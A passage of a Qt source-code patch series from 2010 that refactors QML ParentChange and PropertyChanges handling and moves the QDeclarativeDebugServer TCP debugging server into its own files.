scale.script()); } bool QDeclarativeParentChange::scaleIsSet() const @@ -307,6 +329,7 @@ void QDeclarativeParentChange::setRotation(QDeclarativeScriptString rotation) { Q_D(QDeclarativeParentChange); d->rotationString = rotation; + tryReal(d->rotation, rotation.script()); } bool QDeclarativeParentChange::rotationIsSet() const @@ -370,14 +393,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QDeclarativeContext *ctxt = qmlContext(this); if (d->xString.isValid()) { - bool ok = false; - QString script = d->xString.value.script(); - qreal x = script.toFloat(&ok); - if (ok) { - QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, x); + if (d->x.isValid()) { + QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, d->x.value); actions << xa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->xString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt)); QDeclarativeAction xa; xa.property = newBinding->property(); @@ -389,14 +409,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->yString.isValid()) { - bool ok = false; - QString script = d->yString.value.script(); - qreal y = script.toFloat(&ok); - if (ok) { - QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, y); + if (d->y.isValid()) { + QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, d->y.value); actions << ya; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->yString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt)); QDeclarativeAction ya; ya.property = newBinding->property(); @@ -408,14 +425,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->scaleString.isValid()) { - bool ok = false; - QString script = d->scaleString.value.script(); - qreal scale = script.toFloat(&ok); - if (ok) { - QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, scale); + if (d->scale.isValid()) { + QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, d->scale.value); actions << sa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->scaleString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt)); QDeclarativeAction sa; sa.property = newBinding->property(); @@ -427,14 +441,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->rotationString.isValid()) { - bool ok = false; - QString script = d->rotationString.value.script(); - qreal rotation = script.toFloat(&ok); - if (ok) { - QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, rotation); + if (d->rotation.isValid()) { + QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, d->rotation.value); actions << ra; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->rotationString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt)); QDeclarativeAction ra; ra.property = newBinding->property(); @@ -446,14 +457,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->widthString.isValid()) { - bool ok = false; - QString script = d->widthString.value.script(); - qreal width = script.toFloat(&ok); - if (ok) { - QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, width); + if (d->width.isValid()) { + QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, d->width.value); actions << wa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->widthString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt)); QDeclarativeAction wa; wa.property = newBinding->property(); @@ -465,14 +473,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->heightString.isValid()) { - bool ok = false; - QString script = d->heightString.value.script(); - qreal height = script.toFloat(&ok); - if (ok) { - QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, height); + if (d->height.isValid()) { + QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, d->height.value); actions << ha; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->heightString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt)); QDeclarativeAction ha; ha.property = newBinding->property(); -- cgit v0.12 From 9536b35d63716e88482baeed34d11509ed724606 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 17 Dec 2010 16:32:24 +1000 Subject: Fix PropertyChange's binding rewriting for 'dot' properties. For cases like PropertyChanges { font.pixelSize: myPixelSize } it was attempting to rewrite the function name as font.pixelSize, which is not syntactically correct. We now rewrite the function name as pixelSize. --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 4f4ad3f..b2b0990 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2267,7 +2267,7 @@ const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) con int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name) { QDeclarativeRewrite::RewriteBinding rewriteBinding; - rewriteBinding.setName('$' + name); + rewriteBinding.setName('$' + name.mid(name.lastIndexOf('.') + 1)); bool isSharable = false; QString rewrite = rewriteBinding(expression, 0, &isSharable); -- cgit v0.12 From 84456ce081fa3c2e2f10b5162c70566f98124b0f Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 18 Nov 2010 10:32:36 +0100 Subject: QDeclarativeDebug: Rename member variable 'client' points to the QDeclarativeDebugConnection object, so better name it 'connection' then. Reviewed-by: Christiaan Janssen --- .../debugger/qdeclarativedebugclient.cpp | 36 +++++++++++----------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugclient.cpp b/src/declarative/debugger/qdeclarativedebugclient.cpp index f5c5751..204ca4f 100644 --- a/src/declarative/debugger/qdeclarativedebugclient.cpp +++ b/src/declarative/debugger/qdeclarativedebugclient.cpp @@ -61,7 +61,7 @@ public: QDeclarativeDebugClientPrivate(); QString name; - QDeclarativeDebugConnection *client; + QDeclarativeDebugConnection *connection; }; class QDeclarativeDebugConnectionPrivate : public QObject @@ -202,7 +202,7 @@ QDeclarativeDebugConnection::~QDeclarativeDebugConnection() { QHash::iterator iter = d->plugins.begin(); for (; iter != d->plugins.end(); ++iter) { - iter.value()->d_func()->client = 0; + iter.value()->d_func()->connection = 0; iter.value()->statusChanged(QDeclarativeDebugClient::NotConnected); } } @@ -213,7 +213,7 @@ bool QDeclarativeDebugConnection::isConnected() const } QDeclarativeDebugClientPrivate::QDeclarativeDebugClientPrivate() -: client(0) +: connection(0) { } @@ -223,26 +223,26 @@ QDeclarativeDebugClient::QDeclarativeDebugClient(const QString &name, { Q_D(QDeclarativeDebugClient); d->name = name; - d->client = parent; + d->connection = parent; - if (!d->client) + if (!d->connection) return; - if (d->client->d->plugins.contains(name)) { + if (d->connection->d->plugins.contains(name)) { qWarning() << "QDeclarativeDebugClient: Conflicting plugin name" << name; - d->client = 0; + d->connection = 0; } else { - d->client->d->plugins.insert(name, this); - d->client->d->advertisePlugins(); + d->connection->d->plugins.insert(name, this); + d->connection->d->advertisePlugins(); } } QDeclarativeDebugClient::~QDeclarativeDebugClient() { Q_D(const QDeclarativeDebugClient); - if (d->client && d->client->d) { - d->client->d->plugins.remove(d->name); - d->client->d->advertisePlugins(); + if (d->connection && d->connection->d) { + d->connection->d->plugins.remove(d->name); + d->connection->d->advertisePlugins(); } } @@ -255,12 +255,12 @@ QString QDeclarativeDebugClient::name() const QDeclarativeDebugClient::Status QDeclarativeDebugClient::status() const { Q_D(const QDeclarativeDebugClient); - if (!d->client - || !d->client->isConnected() - || !d->client->d->gotHello) + if (!d->connection + || !d->connection->isConnected() + || !d->connection->d->gotHello) return NotConnected; - if (d->client->d->serverPlugins.contains(d->name)) + if (d->connection->d->serverPlugins.contains(d->name)) return Enabled; return Unavailable; @@ -275,8 +275,8 @@ void QDeclarativeDebugClient::sendMessage(const QByteArray &message) QPacket pack; pack << d->name << message; - d->client->d->protocol->send(pack); - d->client->d->q->flush(); + d->connection->d->protocol->send(pack); + d->connection->d->q->flush(); } void QDeclarativeDebugClient::statusChanged(Status) -- cgit v0.12 From 5d251ef253065d68967ae3263b3cf7f1d93d7a00 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 18 Nov 2010 14:54:24 +0100 Subject: QDeclarativeDebug: Decouple QDDServer, QDDService classes Move QDeclarativeDebugServer class into it's own files and make the classes less interdependent. --- src/declarative/debugger/debugger.pri | 7 +- .../debugger/qdeclarativedebugserver.cpp | 366 +++++++++++++++++++++ .../debugger/qdeclarativedebugserver_p.h | 89 +++++ .../debugger/qdeclarativedebugservice.cpp | 319 +----------------- .../debugger/qdeclarativedebugservice_p_p.h | 71 ++++ 5 files changed, 541 insertions(+), 311 deletions(-) create mode 100644 src/declarative/debugger/qdeclarativedebugserver.cpp create mode 100644 src/declarative/debugger/qdeclarativedebugserver_p.h create mode 100644 src/declarative/debugger/qdeclarativedebugservice_p_p.h diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index 25f7687..144d896 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -7,13 +7,16 @@ SOURCES += \ $$PWD/qdeclarativedebugclient.cpp \ $$PWD/qdeclarativedebug.cpp \ $$PWD/qdeclarativedebugtrace.cpp \ - $$PWD/qdeclarativedebughelper.cpp + $$PWD/qdeclarativedebughelper.cpp \ + $$PWD/qdeclarativedebugserver.cpp HEADERS += \ $$PWD/qdeclarativedebuggerstatus_p.h \ $$PWD/qpacketprotocol_p.h \ $$PWD/qdeclarativedebugservice_p.h \ + $$PWD/qdeclarativedebugservice_p_p.h \ $$PWD/qdeclarativedebugclient_p.h \ $$PWD/qdeclarativedebug_p.h \ $$PWD/qdeclarativedebugtrace_p.h \ - $$PWD/qdeclarativedebughelper_p.h + $$PWD/qdeclarativedebughelper_p.h \ + $$PWD/qdeclarativedebugserver_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp new file mode 100644 index 0000000..4bb4e2c --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugserver.cpp @@ -0,0 +1,366 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "private/qdeclarativedebugserver_p.h" +#include "private/qdeclarativedebugservice_p.h" +#include "private/qdeclarativedebugservice_p_p.h" +#include "private/qdeclarativeengine_p.h" + +#include "private/qpacketprotocol_p.h" + +#include + +#include +#include + +#include +#include + +QT_BEGIN_NAMESPACE + +/* + QDeclarativeDebug Protocol (Version 1): + + handshake: + 1. Client sends + "QDeclarativeDebugServer" 0 version pluginNames + version: an int representing the highest protocol version the client knows + pluginNames: plugins available on client side + 2. Server sends + "QDeclarativeDebugClient" 0 version pluginNames + version: an int representing the highest protocol version the client & server know + pluginNames: plugins available on server side. plugins both in the client and server message are enabled. + client plugin advertisement + 1. Client sends + "QDeclarativeDebugServer" 1 pluginNames + server plugin advertisement + 1. Server sends + "QDeclarativeDebugClient" 1 pluginNames + plugin communication: + Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin. + */ + +const int protocolVersion = 1; + + +class QDeclarativeDebugServerPrivate : public QObjectPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeDebugServer) +public: + QDeclarativeDebugServerPrivate(); + + void advertisePlugins(); + + int port; + QTcpSocket *connection; + QPacketProtocol *protocol; + QHash plugins; + QStringList clientPlugins; + QTcpServer *tcpServer; + bool gotHello; +}; + +QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() +: connection(0), protocol(0), gotHello(false) +{ +} + +void QDeclarativeDebugServerPrivate::advertisePlugins() +{ + if (!connection + || connection->state() != QTcpSocket::ConnectedState + || !gotHello) + return; + + QPacket pack; + pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); + protocol->send(pack); + connection->flush(); +} + +void QDeclarativeDebugServer::listen() +{ + Q_D(QDeclarativeDebugServer); + + d->tcpServer = new QTcpServer(this); + QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); + if (d->tcpServer->listen(QHostAddress::Any, d->port)) + qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); + else + qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); +} + +void QDeclarativeDebugServer::waitForConnection() +{ + Q_D(QDeclarativeDebugServer); + d->tcpServer->waitForNewConnection(-1); +} + +void QDeclarativeDebugServer::newConnection() +{ + Q_D(QDeclarativeDebugServer); + + if (d->connection) { + qWarning("QDeclarativeDebugServer error: another client is already connected"); + QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); + delete faultyConnection; + return; + } + + d->connection = d->tcpServer->nextPendingConnection(); + d->connection->setParent(this); + d->protocol = new QPacketProtocol(d->connection, this); + QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); +} + +bool QDeclarativeDebugServer::hasDebuggingClient() const +{ + Q_D(const QDeclarativeDebugServer); + return d->connection + && (d->connection->state() == QTcpSocket::ConnectedState) + && d->gotHello; +} + +QDeclarativeDebugServer *QDeclarativeDebugServer::instance() +{ + static bool commandLineTested = false; + static QDeclarativeDebugServer *server = 0; + + if (!commandLineTested) { + commandLineTested = true; + +#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL + QApplicationPrivate *appD = static_cast(QObjectPrivate::get(qApp)); + // ### remove port definition when protocol is changed + int port = 0; + bool block = false; + bool ok = false; + + // format: qmljsdebugger=port:3768[,block] + if (!appD->qmljsDebugArgumentsString().isEmpty()) { + if (!QDeclarativeEnginePrivate::qml_debugging_enabled) { + const QString message = + QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " + "Debugging has not been enabled.").arg( + appD->qmljsDebugArgumentsString()); + qWarning("%s", qPrintable(message)); + return 0; + } + + if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) { + int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(',')); + port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok); + } + block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block")); + + if (ok) { + server = new QDeclarativeDebugServer(port); + server->listen(); + if (block) { + server->waitForConnection(); + } + } else { + qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " + "Format is -qmljsdebugger=port:[,block]").arg( + appD->qmljsDebugArgumentsString()).toAscii().constData()); + } + } +#endif + } + + return server; +} + +QDeclarativeDebugServer::QDeclarativeDebugServer(int port) +: QObject(*(new QDeclarativeDebugServerPrivate)) +{ + Q_D(QDeclarativeDebugServer); + d->port = port; +} + +void QDeclarativeDebugServer::readyRead() +{ + Q_D(QDeclarativeDebugServer); + + if (!d->gotHello) { + QPacket hello = d->protocol->read(); + + QString name; + int op; + hello >> name >> op; + + if (name != QLatin1String("QDeclarativeDebugServer") + || op != 0) { + qWarning("QDeclarativeDebugServer: Invalid hello message"); + QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); + d->protocol->deleteLater(); + d->protocol = 0; + d->connection->deleteLater(); + d->connection = 0; + return; + } + + int version; + hello >> version >> d->clientPlugins; + + QHash::Iterator iter = d->plugins.begin(); + for (; iter != d->plugins.end(); ++iter) { + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; + if (d->clientPlugins.contains(iter.key())) + newStatus = QDeclarativeDebugService::Enabled; + iter.value()->d_func()->status = newStatus; + iter.value()->statusChanged(newStatus); + } + + QPacket helloAnswer; + helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); + d->protocol->send(helloAnswer); + d->connection->flush(); + + d->gotHello = true; + qWarning("QDeclarativeDebugServer: Connection established"); + } + + QString debugServer(QLatin1String("QDeclarativeDebugServer")); + + while (d->protocol->packetsAvailable()) { + QPacket pack = d->protocol->read(); + + QString name; + pack >> name; + + if (name == debugServer) { + int op = -1; + pack >> op; + + if (op == 1) { + // Service Discovery + QStringList oldClientPlugins = d->clientPlugins; + pack >> d->clientPlugins; + + QHash::Iterator iter = d->plugins.begin(); + for (; iter != d->plugins.end(); ++iter) { + const QString pluginName = iter.key(); + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; + if (d->clientPlugins.contains(pluginName)) + newStatus = QDeclarativeDebugService::Enabled; + + if (oldClientPlugins.contains(pluginName) + != d->clientPlugins.contains(pluginName)) { + iter.value()->d_func()->status = newStatus; + iter.value()->statusChanged(newStatus); + } + } + } else { + qWarning("QDeclarativeDebugServer: Invalid control message %d", op); + } + } else { + QByteArray message; + pack >> message; + + QHash::Iterator iter = + d->plugins.find(name); + if (iter == d->plugins.end()) { + qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name; + } else { + (*iter)->messageReceived(message); + } + } + } +} + + +QList QDeclarativeDebugServer::services() const +{ + const Q_D(QDeclarativeDebugServer); + return d->plugins.values(); +} + +QStringList QDeclarativeDebugServer::serviceNames() const +{ + const Q_D(QDeclarativeDebugServer); + return d->plugins.keys(); +} + +bool QDeclarativeDebugServer::addService(QDeclarativeDebugService *service) +{ + Q_D(QDeclarativeDebugServer); + if (!service || d->plugins.contains(service->name())) + return false; + + d->plugins.insert(service->name(), service); + d->advertisePlugins(); + + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; + if (d->clientPlugins.contains(service->name())) + newStatus = QDeclarativeDebugService::Enabled; + service->d_func()->status = newStatus; + service->statusChanged(newStatus); + return true; +} + +bool QDeclarativeDebugServer::removeService(QDeclarativeDebugService *service) +{ + Q_D(QDeclarativeDebugServer); + if (!service || !d->plugins.contains(service->name())) + return false; + + d->plugins.remove(service->name()); + d->advertisePlugins(); + + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::NotConnected; + service->d_func()->server = 0; + service->d_func()->status = newStatus; + service->statusChanged(newStatus); + return true; +} + +void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service, + const QByteArray &message) +{ + Q_D(QDeclarativeDebugServer); + QPacket pack; + pack << service->name() << message; + d->protocol->send(pack); + d->connection->flush(); +} + +QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h new file mode 100644 index 0000000..6840d63 --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugserver_p.h @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVER_H +#define QDECLARATIVEDEBUGSERVER_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeDebugService; + +class QDeclarativeDebugServerPrivate; +class QDeclarativeDebugServer : public QObject +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeDebugServer) + Q_DISABLE_COPY(QDeclarativeDebugServer) +public: + static QDeclarativeDebugServer *instance(); + void listen(); + void waitForConnection(); + bool hasDebuggingClient() const; + + QList services() const; + QStringList serviceNames() const; + + bool addService(QDeclarativeDebugService *service); + bool removeService(QDeclarativeDebugService *service); + + void sendMessage(QDeclarativeDebugService *service, const QByteArray &message); + +private Q_SLOTS: + void readyRead(); + void newConnection(); + +private: + friend class QDeclarativeDebugService; + friend class QDeclarativeDebugServicePrivate; + QDeclarativeDebugServer(int); +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVICE_H diff --git a/src/declarative/debugger/qdeclarativedebugservice.cpp b/src/declarative/debugger/qdeclarativedebugservice.cpp index 849df73..9d321da 100644 --- a/src/declarative/debugger/qdeclarativedebugservice.cpp +++ b/src/declarative/debugger/qdeclarativedebugservice.cpp @@ -40,301 +40,14 @@ ****************************************************************************/ #include "private/qdeclarativedebugservice_p.h" +#include "private/qdeclarativedebugservice_p_p.h" +#include "private/qdeclarativedebugserver_p.h" -#include "private/qpacketprotocol_p.h" -#include "private/qdeclarativeengine_p.h" - -#include -#include -#include -#include - -#include -#include -#include +#include +#include QT_BEGIN_NAMESPACE -/* - QDeclarativeDebug Protocol (Version 1): - - handshake: - 1. Client sends - "QDeclarativeDebugServer" 0 version pluginNames - version: an int representing the highest protocol version the client knows - pluginNames: plugins available on client side - 2. Server sends - "QDeclarativeDebugClient" 0 version pluginNames - version: an int representing the highest protocol version the client & server know - pluginNames: plugins available on server side. plugins both in the client and server message are enabled. - client plugin advertisement - 1. Client sends - "QDeclarativeDebugServer" 1 pluginNames - server plugin advertisement - 1. Server sends - "QDeclarativeDebugClient" 1 pluginNames - plugin communication: - Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin. - */ - -const int protocolVersion = 1; - -class QDeclarativeDebugServerPrivate; -class QDeclarativeDebugServer : public QObject -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeDebugServer) - Q_DISABLE_COPY(QDeclarativeDebugServer) -public: - static QDeclarativeDebugServer *instance(); - void listen(); - void waitForConnection(); - bool hasDebuggingClient() const; - -private Q_SLOTS: - void readyRead(); - void newConnection(); - -private: - friend class QDeclarativeDebugService; - friend class QDeclarativeDebugServicePrivate; - QDeclarativeDebugServer(int); -}; - -class QDeclarativeDebugServerPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeDebugServer) -public: - QDeclarativeDebugServerPrivate(); - - void advertisePlugins(); - - int port; - QTcpSocket *connection; - QPacketProtocol *protocol; - QHash plugins; - QStringList clientPlugins; - QTcpServer *tcpServer; - bool gotHello; -}; - -class QDeclarativeDebugServicePrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeDebugService) -public: - QDeclarativeDebugServicePrivate(); - - QString name; - QDeclarativeDebugServer *server; -}; - -QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() -: connection(0), protocol(0), gotHello(false) -{ -} - -void QDeclarativeDebugServerPrivate::advertisePlugins() -{ - if (!connection - || connection->state() != QTcpSocket::ConnectedState - || !gotHello) - return; - - QPacket pack; - pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); - protocol->send(pack); - connection->flush(); -} - -void QDeclarativeDebugServer::listen() -{ - Q_D(QDeclarativeDebugServer); - - d->tcpServer = new QTcpServer(this); - QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); - if (d->tcpServer->listen(QHostAddress::Any, d->port)) - qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); - else - qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); -} - -void QDeclarativeDebugServer::waitForConnection() -{ - Q_D(QDeclarativeDebugServer); - d->tcpServer->waitForNewConnection(-1); -} - -void QDeclarativeDebugServer::newConnection() -{ - Q_D(QDeclarativeDebugServer); - - if (d->connection) { - qWarning("QDeclarativeDebugServer error: another client is already connected"); - QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); - delete faultyConnection; - return; - } - - d->connection = d->tcpServer->nextPendingConnection(); - d->connection->setParent(this); - d->protocol = new QPacketProtocol(d->connection, this); - QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); -} - -bool QDeclarativeDebugServer::hasDebuggingClient() const -{ - Q_D(const QDeclarativeDebugServer); - return d->connection - && (d->connection->state() == QTcpSocket::ConnectedState) - && d->gotHello; -} - -QDeclarativeDebugServer *QDeclarativeDebugServer::instance() -{ - static bool commandLineTested = false; - static QDeclarativeDebugServer *server = 0; - - if (!commandLineTested) { - commandLineTested = true; - -#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL - QApplicationPrivate *appD = static_cast(QObjectPrivate::get(qApp)); - // ### remove port definition when protocol is changed - int port = 0; - bool block = false; - bool ok = false; - - // format: qmljsdebugger=port:3768[,block] - if (!appD->qmljsDebugArgumentsString().isEmpty()) { - if (!QDeclarativeEnginePrivate::qml_debugging_enabled) { - qWarning() << QString::fromLatin1("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " - "Debugging has not been enabled.").arg( - appD->qmljsDebugArgumentsString()).toAscii().constData(); - return 0; - } - - if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) { - int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(',')); - port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok); - } - block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block")); - - if (ok) { - server = new QDeclarativeDebugServer(port); - server->listen(); - if (block) { - server->waitForConnection(); - } - } else { - const QString message = - QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " - "Format is -qmljsdebugger=port:[,block]"). - arg(appD->qmljsDebugArgumentsString()); - qWarning("%s", qPrintable(message)); - } - } -#endif - } - - return server; -} - -QDeclarativeDebugServer::QDeclarativeDebugServer(int port) -: QObject(*(new QDeclarativeDebugServerPrivate)) -{ - Q_D(QDeclarativeDebugServer); - d->port = port; -} - -void QDeclarativeDebugServer::readyRead() -{ - Q_D(QDeclarativeDebugServer); - - if (!d->gotHello) { - QPacket hello = d->protocol->read(); - - QString name; - int op; - hello >> name >> op; - - if (name != QLatin1String("QDeclarativeDebugServer") - || op != 0) { - qWarning("QDeclarativeDebugServer: Invalid hello message"); - QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); - d->protocol->deleteLater(); - d->protocol = 0; - d->connection->deleteLater(); - d->connection = 0; - return; - } - - int version; - hello >> version >> d->clientPlugins; - - QHash::Iterator iter = d->plugins.begin(); - for (; iter != d->plugins.end(); ++iter) { - QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; - if (d->clientPlugins.contains(iter.key())) - newStatus = QDeclarativeDebugService::Enabled; - iter.value()->statusChanged(newStatus); - } - - QPacket helloAnswer; - helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); - d->protocol->send(helloAnswer); - d->connection->flush(); - - d->gotHello = true; - qWarning("QDeclarativeDebugServer: Connection established"); - } - - QString debugServer(QLatin1String("QDeclarativeDebugServer")); - - while (d->protocol->packetsAvailable()) { - QPacket pack = d->protocol->read(); - - QString name; - pack >> name; - - if (name == debugServer) { - int op = -1; - pack >> op; - - if (op == 1) { - // Service Discovery - QStringList oldClientPlugins = d->clientPlugins; - pack >> d->clientPlugins; - - QHash::Iterator iter = d->plugins.begin(); - for (; iter != d->plugins.end(); ++iter) { - const QString pluginName = iter.key(); - QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; - if (d->clientPlugins.contains(pluginName)) - newStatus = QDeclarativeDebugService::Enabled; - - if (oldClientPlugins.contains(pluginName) - != d->clientPlugins.contains(pluginName)) { - iter.value()->statusChanged(newStatus); - } - } - } else { - qWarning("QDeclarativeDebugServer: Invalid control message %d", op); - } - } else { - QByteArray message; - pack >> message; - - 